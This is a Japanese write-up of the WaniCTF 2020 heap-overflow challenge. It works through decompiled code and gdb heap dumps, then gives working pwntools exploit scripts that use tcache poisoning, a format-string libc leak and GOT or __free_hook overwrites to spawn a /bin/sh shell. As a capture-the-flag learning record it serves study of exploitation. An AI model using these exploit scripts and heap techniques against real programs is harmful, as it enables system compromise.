WaniCTF 2020 pwn 08 heap Writeup
ついにヒープバッファオーバーフローの勉強に踏み込んでしまった。
難しすぎる。
とりあえず，疑問に思ったことで，解決できたものについては解説をしてみました。
初めてヒープバッファオーバーフローに取り組む人が，偶然，WaniCTF 2020 heap を題材にするという状況ならば，参考になるところもあるかもしれません。
Heap Overflow の問題としては，連続して malloc が出来る分だけ簡単らしいです。
問題
nc heap.wanictf.org 9008
これが作問者の現在の限界です。
使用ツール例
pwntools
objdump
ghidra
セキュリティ保護
Partial RELocation ReadOnly (RELRO)
Stack Smash Protection (SSP)有効
No eXecute bit(NX)有効
Position Independent Executable (PIE)無効
脆弱性は？
動かしてみる
$ ./pwn08
1: add memo
2: edit memo
3: view memo
9: del memo
command?:
Ghidraでデコンパイルしてみた
command
void command(void)
{
int iVar1;
int iVar2;
void *pvVar3;
print_menu();
iVar1 = get_int();
printf("index?[0-9]: ");
iVar2 = get_int();
if (iVar1 == 2) {
printf("memo?: ");
read(0,*(void **)(g_memos + (long)iVar2 * 8),0x100);
}
else {
if (iVar1 < 3) {
if (iVar1 == 1) {
printf("size?: ");
iVar1 = get_int();
pvVar3 = malloc((long)iVar1);
*(void **)(g_memos + (long)iVar2 * 8) = pvVar3;
}
}
else {
if (iVar1 == 3) {
puts(*(char **)(g_memos + (long)iVar2 * 8));
}
else {
if (iVar1 == 9) {
free(*(void **)(g_memos + (long)iVar2 * 8));
*(undefined8 *)(g_memos + (long)iVar2 * 8) = 0;
}
}
}
}
return;
}
| メニュー | 処理の中身 |
|---|---|
| 1: add memo | g_memos[i] = malloc(size) |
| 2: edit memo | read(0, g_memos[i], 0x100) |
| 3: view memo | puts(g_memos[i]) |
| 9: del memo | free(g_memos[i]); g_memos[i]=null |
mallocはサイズ指定なのに，readで0x100まで上書きできる。
ヒープオーバーフロー
putsは文字列の終端 0x00を見つけるまで出力し続けるので，readで上手に文字を埋めれば，チャンクの垣根を越えてデータを読めそうです。
ヒープの状態
add(0, 0x10)
add(1, 0x10)
add(2, 0x10)
を行った状態
gdb-peda$ x/16xg 0x603260
0x603260: 0x0000000000000000 0x0000000000000000
0x603270: 0x0000000000000000 0x0000000000000021
0x603280: 0x0000000000000000 0x0000000000000000
0x603290: 0x0000000000000000 0x0000000000000021
0x6032a0: 0x0000000000000000 0x0000000000000000
0x6032b0: 0x0000000000000000 0x0000000000020d51
その後
edit(0, AAA)
edit(2, CCC)
を行うと
gdb-peda$ x/16xg 0x603260
0x603260: 0x000000000a414141 0x0000000000000000
0x603270: 0x0000000000000000 0x0000000000000021
0x603280: 0x0000000000000000 0x0000000000000000
0x603290: 0x0000000000000000 0x0000000000000021
0x6032a0: 0x000000000a434343 0x0000000000000000
0x6032b0: 0x0000000000000000 0x0000000000020d51
さらに
edit(1, BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB)
を行うと
gdb-peda$ x/16xg 0x603260
0x603260: 0x000000000a414141 0x0000000000000000
0x603270: 0x0000000000000000 0x0000000000000021
0x603280: 0x4242424242424242 0x4242424242424242
0x603290: 0x4242424242424242 0x4242424242424242
0x6032a0: 0x000000000a430a42 0x0000000000000000
0x6032b0: 0x0000000000000000 0x0000000000020d51
0x6032c0: 0x0000000000000000 0x0000000000000000
0x6032d0: 0x0000000000000000 0x0000000000000000
ここで
view(1)
をすると
1: add memo
2: edit memo
3: view memo
9: del memo
command?: 3
index?[0-9]: 1
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
C
つまり，index1を表示したのにindex2に書いた Cが１文字読めてる
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\x0aC\x0a が読めてる
\x0a無しでいけるのか？
AAAの後，[Enter]キーを押さず，[Ctrl]+d で入力を終わらせると
gdb-peda$ x/16xg 0x603260
0x603260: 0x0000000000414141 0x0000000000000000
0x603270: 0x0000000000000000 0x0000000000000021
0x603280: 0x4242424242424242 0x4242424242424242
0x603290: 0x4242424242424242 0x4242424242424242
0x6032a0: 0x0000000000434342 0x0000000000000000
0x6032b0: 0x0000000000000000 0x0000000000020d51
の状況が作り出せた。
1: add memo
2: edit memo
3: view memo
9: del memo
command?: 3
index?[0-9]: 1
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBCC
kusano氏のwriteupをベースに解く
Unsorted Binを利用したlibc leak
kusano氏のwriteupを読み解くのに非常に参考になった xornet氏の別問題のwriteup
0x3ebca0 って何だ？
libc.address = unsorted - 0x3ebca0 という計算で libc のベースアドレスを求めている
0x3ebca0って何だ？
xornet氏によるとgdbでオフセットを確認できるとのことだったので，真似してみる。
gdb で main_arena のアドレスを確認
gdb-peda$ p &main_arena
$1 = (struct malloc_state *) 0x7ffff7dcdc40 <main_arena>
main_arena のアドレスは，0x7ffff7dcdc40
gdb で libc base のアドレスを確認
gdb-peda$ info proc map
process 2115
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x400000 0x401000 0x1000 0x0 /home/sita/share/pwn08
0x601000 0x602000 0x1000 0x1000 /home/sita/share/pwn08
0x602000 0x603000 0x1000 0x2000 /home/sita/share/pwn08
0x7ffff79e2000 0x7ffff7bc9000 0x1e7000 0x0 /lib/x86_64-linux-gnu/libc-2.27.so
0x7ffff7bc9000 0x7ffff7dc9000 0x200000 0x1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7ffff7dc9000 0x7ffff7dcd000 0x4000 0x1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7ffff7dcd000 0x7ffff7dcf000 0x2000 0x1eb000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7ffff7dcf000 0x7ffff7dd3000 0x4000 0x0
0x7ffff7dd3000 0x7ffff7dfc000 0x29000 0x0 /lib/x86_64-linux-gnu/ld-2.27.so
0x7ffff7fe5000 0x7ffff7fe7000 0x2000 0x0
0x7ffff7ff8000 0x7ffff7ffb000 0x3000 0x0 [vvar]
0x7ffff7ffb000 0x7ffff7ffc000 0x1000 0x0 [vdso]
0x7ffff7ffc000 0x7ffff7ffd000 0x1000 0x29000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7ffff7ffd000 0x7ffff7ffe000 0x1000 0x2a000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7ffff7ffe000 0x7ffff7fff000 0x1000 0x0
0x7ffffffde000 0x7ffffffff000 0x21000 0x0 [stack]
0xffffffffff600000 0xffffffffff601000 0x1000 0x0 [vsyscall]
libc base のアドレスは，0x7ffff79e2000
main_arena のアドレスは，0x7ffff7dcdc40だったのでオフセットを求めると 0x3ebc40 となる。
0x3ebca0に近いけど 0x60 違う
「サイズが大きいチャンクはtcacheやfastbinでは無く一度Unsorted Binへ放り込まれ、そのfdがmain_arena.topに相当するアドレスを指す」とのこと。
topの値は，
gdb-peda$ p main_arena
$2 = {
mutex = 0x0,
flags = 0x0,
have_fastchunks = 0x0,
fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
top = 0x0,
last_remainder = 0x0,
bins = {0x0 <repeats 254 times>},
binmap = {0x0, 0x0, 0x0, 0x0},
next = 0x7ffff7dcdc40 <main_arena>,
next_free = 0x0,
attached_threads = 0x1,
system_mem = 0x0,
max_system_mem = 0x0
}
mallocが呼ばれないとtopの値は0のまま
mallocまで進めてからtopの値を再確認
gdb-peda$ p main_arena
$3 = {
mutex = 0x0,
flags = 0x0,
have_fastchunks = 0x0,
fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
top = 0x603270,
last_remainder = 0x0,
bins = {0x7ffff7dcdca0 <main_arena+96>, 0x7ffff7dcdca0 <main_arena+96>,
0x7ffff7dcdcb0 <main_arena+112>, 0x7ffff7dcdcb0 <main_arena+112>,
0x7ffff7dcdcc0 <main_arena+128>, 0x7ffff7dcdcc0 <main_arena+128>,
0x7ffff7dcdcd0 <main_arena+144>, 0x7ffff7dcdcd0 <main_arena+144>,
0x7ffff7dcdce0 <main_arena+160>, 0x7ffff7dcdce0 <main_arena+160>,
0x7ffff7dcdcf0 <main_arena+176>, 0x7ffff7dcdcf0 <main_arena+176>,
0x7ffff7dcdd00 <main_arena+192>, 0x7ffff7dcdd00 <main_arena+192>,
0x7ffff7dcdd10 <main_arena+208>, 0x7ffff7dcdd10 <main_arena+208>,
0x7ffff7dcdd20 <main_arena+224>, 0x7ffff7dcdd20 <main_arena+224>,
0x7ffff7dcdd30 <main_arena+240>, 0x7ffff7dcdd30 <main_arena+240>,
0x7ffff7dcdd40 <main_arena+256>, 0x7ffff7dcdd40 <main_arena+256>,
0x7ffff7dcdd50 <main_arena+272>, 0x7ffff7dcdd50 <main_arena+272>,
0x7ffff7dcdd60 <main_arena+288>, 0x7ffff7dcdd60 <main_arena+288>,
0x7ffff7dcdd70 <main_arena+304>, 0x7ffff7dcdd70 <main_arena+304>,
0x7ffff7dcdd80 <main_arena+320>, 0x7ffff7dcdd80 <main_arena+320>,
0x7ffff7dcdd90 <main_arena+336>, 0x7ffff7dcdd90 <main_arena+336>,
0x7ffff7dcdda0 <main_arena+352>, 0x7ffff7dcdda0 <main_arena+352>,
0x7ffff7dcddb0 <main_arena+368>, 0x7ffff7dcddb0 <main_arena+368>,
0x7ffff7dcddc0 <main_arena+384>, 0x7ffff7dcddc0 <main_arena+384>,
0x7ffff7dcddd0 <main_arena+400>, 0x7ffff7dcddd0 <main_arena+400>,
0x7ffff7dcdde0 <main_arena+416>, 0x7ffff7dcdde0 <main_arena+416>,
0x7ffff7dcddf0 <main_arena+432>, 0x7ffff7dcddf0 <main_arena+432>,
0x7ffff7dcde00 <main_arena+448>, 0x7ffff7dcde00 <main_arena+448>,
0x7ffff7dcde10 <main_arena+464>, 0x7ffff7dcde10 <main_arena+464>,
0x7ffff7dcde20 <main_arena+480>, 0x7ffff7dcde20 <main_arena+480>,
0x7ffff7dcde30 <main_arena+496>, 0x7ffff7dcde30 <main_arena+496>,
0x7ffff7dcde40 <main_arena+512>, 0x7ffff7dcde40 <main_arena+512>,
0x7ffff7dcde50 <main_arena+528>, 0x7ffff7dcde50 <main_arena+528>,
0x7ffff7dcde60 <main_arena+544>, 0x7ffff7dcde60 <main_arena+544>,
0x7ffff7dcde70 <main_arena+560>, 0x7ffff7dcde70 <main_arena+560>,
0x7ffff7dcde80 <main_arena+576>, 0x7ffff7dcde80 <main_arena+576>,
0x7ffff7dcde90 <main_arena+592>, 0x7ffff7dcde90 <main_arena+592>,
0x7ffff7dcdea0 <main_arena+608>, 0x7ffff7dcdea0 <main_arena+608>,
0x7ffff7dcdeb0 <main_arena+624>, 0x7ffff7dcdeb0 <main_arena+624>,
0x7ffff7dcdec0 <main_arena+640>, 0x7ffff7dcdec0 <main_arena+640>,
0x7ffff7dcded0 <main_arena+656>, 0x7ffff7dcded0 <main_arena+656>,
0x7ffff7dcdee0 <main_arena+672>, 0x7ffff7dcdee0 <main_arena+672>,
0x7ffff7dcdef0 <main_arena+688>, 0x7ffff7dcdef0 <main_arena+688>,
0x7ffff7dcdf00 <main_arena+704>, 0x7ffff7dcdf00 <main_arena+704>,
0x7ffff7dcdf10 <main_arena+720>, 0x7ffff7dcdf10 <main_arena+720>,
0x7ffff7dcdf20 <main_arena+736>, 0x7ffff7dcdf20 <main_arena+736>,
0x7ffff7dcdf30 <main_arena+752>, 0x7ffff7dcdf30 <main_arena+752>,
0x7ffff7dcdf40 <main_arena+768>, 0x7ffff7dcdf40 <main_arena+768>,
0x7ffff7dcdf50 <main_arena+784>, 0x7ffff7dcdf50 <main_arena+784>,
0x7ffff7dcdf60 <main_arena+800>, 0x7ffff7dcdf60 <main_arena+800>,
0x7ffff7dcdf70 <main_arena+816>, 0x7ffff7dcdf70 <main_arena+816>,
0x7ffff7dcdf80 <main_arena+832>, 0x7ffff7dcdf80 <main_arena+832>,
0x7ffff7dcdf90 <main_arena+848>, 0x7ffff7dcdf90 <main_arena+848>,
0x7ffff7dcdfa0 <main_arena+864>, 0x7ffff7dcdfa0 <main_arena+864>,
0x7ffff7dcdfb0 <main_arena+880>, 0x7ffff7dcdfb0 <main_arena+880>,
0x7ffff7dcdfc0 <main_arena+896>, 0x7ffff7dcdfc0 <main_arena+896>,
0x7ffff7dcdfd0 <main_arena+912>, 0x7ffff7dcdfd0 <main_arena+912>,
0x7ffff7dcdfe0 <main_arena+928>, 0x7ffff7dcdfe0 <main_arena+928>,
0x7ffff7dcdff0 <main_arena+944>, 0x7ffff7dcdff0 <main_arena+944>,
0x7ffff7dce000 <main_arena+960>, 0x7ffff7dce000 <main_arena+960>,
0x7ffff7dce010 <main_arena+976>, 0x7ffff7dce010 <main_arena+976>,
0x7ffff7dce020 <main_arena+992>, 0x7ffff7dce020 <main_arena+992>,
0x7ffff7dce030 <main_arena+1008>, 0x7ffff7dce030 <main_arena+1008>,
0x7ffff7dce040 <main_arena+1024>, 0x7ffff7dce040 <main_arena+1024>,
0x7ffff7dce050 <main_arena+1040>, 0x7ffff7dce050 <main_arena+1040>,
0x7ffff7dce060 <main_arena+1056>, 0x7ffff7dce060 <main_arena+1056>,
0x7ffff7dce070 <main_arena+1072>, 0x7ffff7dce070 <main_arena+1072>,
0x7ffff7dce080 <main_arena+1088>, 0x7ffff7dce080 <main_arena+1088>,
0x7ffff7dce090 <main_arena+1104>, 0x7ffff7dce090 <main_arena+1104>,
0x7ffff7dce0a0 <main_arena+1120>, 0x7ffff7dce0a0 <main_arena+1120>,
0x7ffff7dce0b0 <main_arena+1136>, 0x7ffff7dce0b0 <main_arena+1136>,
0x7ffff7dce0c0 <main_arena+1152>, 0x7ffff7dce0c0 <main_arena+1152>,
0x7ffff7dce0d0 <main_arena+1168>, 0x7ffff7dce0d0 <main_arena+1168>,
0x7ffff7dce0e0 <main_arena+1184>, 0x7ffff7dce0e0 <main_arena+1184>,
0x7ffff7dce0f0 <main_arena+1200>, 0x7ffff7dce0f0 <main_arena+1200>,
0x7ffff7dce100 <main_arena+1216>, 0x7ffff7dce100 <main_arena+1216>,
0x7ffff7dce110 <main_arena+1232>, 0x7ffff7dce110 <main_arena+1232>,
0x7ffff7dce120 <main_arena+1248>, 0x7ffff7dce120 <main_arena+1248>,
0x7ffff7dce130 <main_arena+1264>, 0x7ffff7dce130 <main_arena+1264>,
0x7ffff7dce140 <main_arena+1280>, 0x7ffff7dce140 <main_arena+1280>,
0x7ffff7dce150 <main_arena+1296>, 0x7ffff7dce150 <main_arena+1296>,
0x7ffff7dce160 <main_arena+1312>, 0x7ffff7dce160 <main_arena+1312>,
0x7ffff7dce170 <main_arena+1328>, 0x7ffff7dce170 <main_arena+1328>,
0x7ffff7dce180 <main_arena+1344>, 0x7ffff7dce180 <main_arena+1344>,
0x7ffff7dce190 <main_arena+1360>, 0x7ffff7dce190 <main_arena+1360>,
0x7ffff7dce1a0 <main_arena+1376>, 0x7ffff7dce1a0 <main_arena+1376>,
0x7ffff7dce1b0 <main_arena+1392>, 0x7ffff7dce1b0 <main_arena+1392>,
0x7ffff7dce1c0 <main_arena+1408>, 0x7ffff7dce1c0 <main_arena+1408>,
0x7ffff7dce1d0 <main_arena+1424>, 0x7ffff7dce1d0 <main_arena+1424>,
0x7ffff7dce1e0 <main_arena+1440>, 0x7ffff7dce1e0 <main_arena+1440>,
0x7ffff7dce1f0 <main_arena+1456>, 0x7ffff7dce1f0 <main_arena+1456>,
0x7ffff7dce200 <main_arena+1472>, 0x7ffff7dce200 <main_arena+1472>,
0x7ffff7dce210 <main_arena+1488>, 0x7ffff7dce210 <main_arena+1488>,
0x7ffff7dce220 <main_arena+1504>, 0x7ffff7dce220 <main_arena+1504>,
0x7ffff7dce230 <main_arena+1520>, 0x7ffff7dce230 <main_arena+1520>,
0x7ffff7dce240 <main_arena+1536>, 0x7ffff7dce240 <main_arena+1536>,
0x7ffff7dce250 <main_arena+1552>, 0x7ffff7dce250 <main_arena+1552>,
0x7ffff7dce260 <main_arena+1568>, 0x7ffff7dce260 <main_arena+1568>,
0x7ffff7dce270 <main_arena+1584>, 0x7ffff7dce270 <main_arena+1584>,
0x7ffff7dce280 <main_arena+1600>, 0x7ffff7dce280 <main_arena+1600>,
0x7ffff7dce290 <main_arena+1616>, 0x7ffff7dce290 <main_arena+1616>,
0x7ffff7dce2a0 <main_arena+1632>, 0x7ffff7dce2a0 <main_arena+1632>,
0x7ffff7dce2b0 <main_arena+1648>, 0x7ffff7dce2b0 <main_arena+1648>,
0x7ffff7dce2c0 <main_arena+1664>, 0x7ffff7dce2c0 <main_arena+1664>,
0x7ffff7dce2d0 <main_arena+1680>, 0x7ffff7dce2d0 <main_arena+1680>...},
binmap = {0x0, 0x0, 0x0, 0x0},
next = 0x7ffff7dcdc40 <main_arena>,
next_free = 0x0,
attached_threads = 0x1,
system_mem = 0x21000,
max_system_mem = 0x21000
}
topの値は，0x603270
main_arena付近のメモリから，0x603270を探す
gdb-peda$ x/16xg &main_arena
0x7ffff7dcdc40 <main_arena>: 0x0000000000000000 0x0000000000000000
0x7ffff7dcdc50 <main_arena+16>: 0x0000000000000000 0x0000000000000000
0x7ffff7dcdc60 <main_arena+32>: 0x0000000000000000 0x0000000000000000
0x7ffff7dcdc70 <main_arena+48>: 0x0000000000000000 0x0000000000000000
0x7ffff7dcdc80 <main_arena+64>: 0x0000000000000000 0x0000000000000000
0x7ffff7dcdc90 <main_arena+80>: 0x0000000000000000 0x0000000000000000
0x7ffff7dcdca0 <main_arena+96>: 0x0000000000603270 0x0000000000000000
0x7ffff7dcdcb0 <main_arena+112>: 0x00007ffff7dcdca0 0x00007ffff7dcdca0
0x603270は，アドレスmain_arena+96にあった。
96 = 0x60
さっきの差の正体がわかった。
Unsorted Binを利用したlibc leakで判明するアドレスは，main_arena.topのアドレス。
main_arena.topのオフセットは0x3ebc40 + 0x60 = 0x3ebca0
厳密にはlibc-2.27.soにおけるmain_arena.topのオフセットは0x3ebc40 + 0x60 = 0x3ebca0
よって，libc.address = unsorted - 0x3ebca0 という計算で libc のベースアドレスが求まる
libc leak の確認
add(0, 0x10)
add(1, 0x410)
delete(1)
だと
gdb-peda$ x/16xg 0x603260
0x603260: 0x0000000000000000 0x0000000000000000
0x603270: 0x0000000000000000 0x0000000000020d91
0x603280: 0x0000000000000000 0x0000000000000000
0x603290: 0x0000000000000000 0x0000000000000000
何もない
add(0, 0x10)
add(1, 0x410)
add(2, 0x10)
delete(1)
だと
gdb-peda$ x/16xg 0x603260
0x603260: 0x0000000000000000 0x0000000000000000
0x603270: 0x0000000000000000 0x0000000000000421
0x603280: 0x00007ffff7dcdca0 0x00007ffff7dcdca0
0x603290: 0x0000000000000000 0x0000000000000000
欲しいものが入ってる。
fd って何？
この資料に出会うまで，さっぱりわからなかった。
「fd, bkメンバは使用中のchunkでは存在しない」ですと，どおりでgdbで追っても理解できないわけだ。
自分が調べた中では，唯一，fdがfreeした後で書かれると記述された素晴らしい資料だ。
__free_hook って何？
一応，システムがあらかじめ用意しているバックドア的なものと認識
最初からsystem("/bin/sh")をとるまで
チャンクを作っていく
add(0, 0x10) RAX: 0x603260 --> 0x0
add(1, 0x410) RAX: 0x603280 --> 0x0
add(2, 0x10) RAX: 0x6036a0 --> 0x0
add(3, 0x10) RAX: 0x6036c0 --> 0x0
add(4, 0x10) RAX: 0x6036e0 --> 0x0
作った直後にfdは無い
gdb-peda$ x/16xg 0x603260
0x603260: 0x0000000000000000 0x0000000000000000 <-- 0
0x603270: 0x0000000000000000 0x0000000000000421
0x603280: 0x0000000000000000 0x0000000000000000 <-- 1
0x603290: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/16xg 0x6036a0
0x6036a0: 0x0000000000000000 0x0000000000000000 <-- 2
0x6036b0: 0x0000000000000000 0x0000000000000021
0x6036c0: 0x0000000000000000 0x0000000000000000 <---3
0x6036d0: 0x0000000000000000 0x0000000000000021
0x6036e0: 0x0000000000000000 0x0000000000000000 <-- 4
0x6036f0: 0x0000000000000000 0x0000000000020911
libcリーク
delete(1)
gdb-peda$ x/16xg 0x603260
0x603260: 0x0000000000000000 0x0000000000000000 <-- 0
0x603270: 0x0000000000000000 0x0000000000000421
0x603280: 0x00007ffff7dcdca0 0x00007ffff7dcdca0 <-- main_arena.top
0x603290: 0x0000000000000000 0x0000000000000000
何の布石？
delete(3)
gdb-peda$ x/16xg 0x6036a0
0x6036a0: 0x0000000000000000 0x0000000000000000 <-- 2
0x6036b0: 0x0000000000000000 0x0000000000000021
0x6036c0: 0x0000000000000000 0x0000000000603010 <-- free(3)
0x6036d0: 0x0000000000000000 0x0000000000000021
0x6036e0: 0x0000000000000000 0x0000000000000000 <-- 4
0x6036f0: 0x0000000000000000 0x0000000000020911
0x603010 何だ？
gdb-peda$ x/16xg 0x603000
0x603000: 0x0000000000000000 0x0000000000000251
0x603010: 0x0000000000000001 0x0000000000000000
0x603020: 0x0000000000000000 0x0000000000000000
0x603030: 0x0000000000000000 0x0000000000000000
edit(2, b"x"*0x20+pack(libc.symbols.__free_hook))
__free_hookのアドレスのかわりに 0x604042を入れてみる
※0x604042に意味はありません。ASCII文字でセグフォにならないアドレスというだけです。
command?: 2
index?[0-9]: 2
memo?: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB@` [Ctrl+d]
gdb-peda$ x/16xg 0x6036a0
0x6036a0: 0x4141414141414141 0x4141414141414141 <-- edit(2)
0x6036b0: 0x4141414141414141 0x4141414141414141
0x6036c0: 0x0000000000604042 0x0000000000603010
0x6036d0: 0x0000000000000000 0x0000000000000021
0x6036e0: 0x0000000000000000 0x0000000000000000 <-- 4
0x6036f0: 0x0000000000000000 0x0000000000020911
add(5, 0x10)
RAX: 0x6036c0 --> 0x604042 --> 0x0
gdb-peda$ x/16xg 0x6036a0
0x6036a0: 0x4141414141414141 0x4141414141414141 <-- 2
0x6036b0: 0x4141414141414141 0x4141414141414141
0x6036c0: 0x0000000000604042 0x0000000000000000 <-- 5
0x6036d0: 0x0000000000000000 0x0000000000000021
0x6036e0: 0x0000000000000000 0x0000000000000000 <-- 4
0x6036f0: 0x0000000000000000 0x0000000000020911
ヒープバッファオーバーフローで書き込んだ 0x604042 が残ってる
これを使ってしまえば， UAF ( Use After Free ) ってこと？
add(6, 0x10)
RAX: 0x604042 --> 0x0
おー狙ったアドレスにヒープが割り当てられた。
edit(6, pack(libc.symbols.system))
edit(0, b"/bin/sh\0")
delete(0)
__free_hookのアドレスに，systemのアドレスを書き込み
チャンク(0)に引数を書き込んで
free(0)でフックをキックしている。
kusano氏の攻撃コードは，そのまんまで動きました。
コードが気になる方はkusano氏のページで確認してください。
簡単に要点をまとめると
大きいサイズのチャンクをfreeするとmain_arena.topのアドレスがfdに書かれるのでlibc base アドレスをとれる（＝systemのアドレスがとれる）
__free_hookにsystem()のアドレスを書き込んだ状態で，"bin/sh\x00"を書き込んだチャンクをfreeしたらsystem("/bin/sh")が走る。
satoooon氏のwriteupをベースに解く
Format String Bugを利用したlibc leak
satoooon氏のwriteupを読み解くのに非常に参考になった yudai氏のwriteup
こんどは libc leak に FSBをつかっているようです。
そしてsystem("/bin/sh\x00")をやるのにputs@gotを書き換えてる
FSBって何？
%llx
攻撃コード
satoooon氏のコードはコピペだと動かない仕様だったので，つぎはぎして動くようにしてみました。
pwn082.py
# coding: UTF-8
from pwn import *
import sys
import re
context.terminal = "wterminal"
context.arch = "amd64"
def get_io():
# debugは動かない
if len(sys.argv) > 1 and sys.argv[1] == "debug":
io = gdb.debug(file, command)
elif len(sys.argv) > 1 and sys.argv[1] == "remote":
_, domain, port = nc.split()
io = remote(domain, int(port))
else:
io = process(file)
return io
file = "./pwn08"
libc = "./libc-2.27.so"
nc = "nc heap.wanictf.org 9008"
chall = ELF(file)
libc = ELF(libc)
io = get_io()
def add(index, size):
io.recvuntil("command?: ")
io.sendline("1")
io.recvuntil("[0-9]: ")
io.sendline(str(index))
io.recvuntil("size?: ")
io.sendline(str(size))
def edit(index, data):
io.recvuntil("command?: ")
io.sendline("2")
io.recvuntil("[0-9]: ")
io.sendline(str(index))
io.recvuntil("memo?: ")
io.sendline(data)
def view(index):
io.recvuntil("command?: ")
io.sendline("3")
io.recvuntil("[0-9]: ")
io.sendline(str(index))
def delete(index):
io.recvuntil("command?: ")
io.sendline("9")
io.recvuntil("[0-9]: ")
io.sendline(str(index))
add(0, 20)
add(1, 20)
add(2, 20)
delete(2)
delete(1)
# tcache => 1 => 2
payload = b""
payload += b"A" * 0x18
payload += p64(0x21) # size
payload += p64(chall.got["puts"]) # fd
payload += p64(0) # key
edit(0, payload)
delete(1)
# tcache => 1 => puts@got
add(1, 20)
# tcache => puts@got
add(2, 20) # 2のアドレスがputs@gotになる
# FSB用のチャンク
add(3, 100)
# FSBをするためにputs@gotをprintf@pltに置き換える
edit(2, p64(chall.plt["printf"]))
# FSBでlibc leak
edit(3, "%11$llx")
view(3)
io.recvuntil("***** 3 *****\n")
view_data = io.recvline()
log.info("view_data = %s" % view_data)
libc_leak = int(view_data,16)
log.info("leak: = %s" % hex(libc_leak))
libc.address = libc_leak - (libc.sym["__libc_start_main"] + 231)
log.info("libc base = %s" % hex(libc.address))
# puts@gotをsystemに置き換える
edit(2, p64(libc.sym["system"]))
edit(3, "/bin/sh\x00")
io.interactive()
ctf4b Beginner’s Heap風に
SECCON Beginners CTF 2020 Beginner’s Heap風に，連続して malloc できない制約下で攻撃コードを書いてみた。
参考にした作問者writeup
pwn084.py
（前半部分は省略）
add(0, 20) #このアドレスを A とする（bofはあるがfreeできない制約がある）
add(1, 20) #このアドレスを B とする（mallocとfreeができるが，mallocサイズは0x18固定）
delete(1)
# (0x20) tcache --> B
payload = b""
payload += b"A" * 0x18
payload += p64(0x30) # <-- ★★★ここが重要
payload += p64(chall.got["puts"])
edit(0, payload)
# (0x20) tcache --> B --> puts@got
# サイズのチェックしてない
add(1, 20)
# (0x20) tcache --> puts@got
delete(1)
# (0x30) tcache --> B
# (0x20) tcache --> puts@got
add(1, 20) # 1のアドレスがputs@gotになる
# FSB用のチャンク
add(5, 100)
# FSBをするためにputs@gotをprintf@pltに置き換える
edit(1, p64(chall.plt["printf"]))
# FSBでlibc leak
edit(5, "%11$llx")
view(5)
io.recvuntil("***** 5 *****\n")
view_data = io.recvline()
log.info("view_data = %s" % view_data)
libc_leak = int(view_data,16)
log.info("leak: = %s" % hex(libc_leak))
libc.address = libc_leak - (libc.sym["__libc_start_main"] + 231)
log.info("libc base = %s" % hex(libc.address))
# puts@gotをsystemに置き換える
edit(1, p64(libc.sym["system"]))
edit(5, "/bin/sh\x00")
Pwngdb との出会い
チャンクはmallocの戻り値でアドレスがわかっていたのでgdbでのぞいていたが，tcacheをどうやって見るのかわからなかった。
が，わかった。
gdb for pwnをインストールすれば，見れそうだ。
Pwngdb のインストール
狙ったアドレスにヒープを作成する
まず，最初に狙ったアドレスにヒープを作成するのをやってみます。
add(0, 16)
add(1, 16)
add(2, 16)
gdb-peda$ x/16xg 0x603260
0x603260: 0x0000000000000000 0x0000000000000000 <-- 0
0x603270: 0x0000000000000000 0x0000000000000021
0x603280: 0x0000000000000000 0x0000000000000000 <-- 1
0x603290: 0x0000000000000000 0x0000000000000021
0x6032a0: 0x0000000000000000 0x0000000000000000 <-- 2
0x6032b0: 0x0000000000000000 0x0000000000020d51
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x6032b0 (size : 0x20d50)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
del(1)
gdb-peda$ x/16xg 0x603260
0x603260: 0x0000000000000000 0x0000000000000000 <-- 0
0x603270: 0x0000000000000000 0x0000000000000021
0x603280: 0x0000000000000000 0x0000000000603010 <-- free
0x603290: 0x0000000000000000 0x0000000000000021
0x6032a0: 0x0000000000000000 0x0000000000000000 <-- 2
0x6032b0: 0x0000000000000000 0x0000000000020d51
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x6032b0 (size : 0x20d50)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
(0x20) tcache_entry[0](1): 0x603280
おー，freeしたばっかりの 0x603280 を再利用しようとしてるw
tcache_entryに 0x603280 がつながった
command?: 2
index?[0-9]: 0
memo?: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB@` [Ctrl+d]
仮に0x604042がGOTとかで書き換えたいアドレスとする。
B@` = 0x604042
gdb-peda$ x/16xg 0x603260
0x603260: 0x4141414141414141 0x4141414141414141
0x603270: 0x4141414141414141 0x4141414141414141
0x603280: 0x0000000000604042 0x0000000000603010 <-- over flow
0x603290: 0x0000000000000000 0x0000000000000021
0x6032a0: 0x0000000000000000 0x0000000000000000
0x6032b0: 0x0000000000000000 0x0000000000020d51
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
